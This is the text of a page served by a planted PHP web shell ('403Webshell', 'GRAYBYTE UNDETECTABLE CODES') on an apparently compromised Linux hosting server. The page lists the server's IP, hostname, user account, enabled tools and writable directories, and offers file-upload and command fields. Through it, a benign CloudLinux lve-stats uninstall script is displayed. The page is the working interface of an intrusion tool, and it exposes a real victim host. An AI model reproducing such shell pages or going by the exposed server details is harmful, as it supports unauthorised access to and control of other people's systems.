- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.147.54.227
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/lve-stats/scriptlets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/lve-stats/scriptlets/rpm_preun.sh
#!/bin/bash
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

# RPM:
# $1 == 1 -- upgrade
# $1 == 0 -- uninstall

# DEB:
# $1 == remove/upgrade

# "lve-stats PRE UNINSTALL STARTED"

__python=$2
rhel=$3
python_sitelib=$4

if [[ "${rhel}" -ge 8 ]]; then
    /usr/bin/systemctl stop lvestats-burstwatcher.service lvestats-burstwatcher-config.service
    /usr/bin/systemctl disable lvestats-burstwatcher.service lvestats-burstwatcher-config.service > /dev/null
fi

if [[ "${rhel}" -gt 6 ]]; then
    /usr/bin/systemctl stop lvestats.service
    /usr/bin/systemctl disable lvestats.service > /dev/null
fi

"${__python}" "${python_sitelib}"/lvestats/utils/dbmigrator-back/dbgovernor_config.py || true

if [[ -f /var/run/db-governor.pid ]]; then
    service db_governor restart
fi

# uninstall ?
if [[ $1 == 0 || $1 == "remove" ]] ; then
    rm -f /etc/cron.daily/lvestats.cron
    rm -rf /var/lve/tmp

    if [ -f /var/lock/subsys/lvestats2-server ]; then
        /sbin/service lvestats stop
    fi

    if [[ "${rhel}" -lt 7 ]]; then
       /sbin/chkconfig --del lvestats
    fi

    # remove migrations scripts backup
    rm -Rf "${python_sitelib}"/lvestats/utils/dbmigrator-back/
else
# upgrade/downgrade of the package. stop new "lvestats2" server (/etc/init.d/lvestats can be replaced with script from "old" package)
    if [[ -f /var/run/lvestats.pid ]]; then
        kill `cat /var/run/lvestats.pid` > /dev/null 2>&1
        rm -f /var/lock/subsys/lvestats2-server > /dev/null 2>&1
    fi
fi

# "lve-stats PRE UNINSTALL FINISHED"
exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit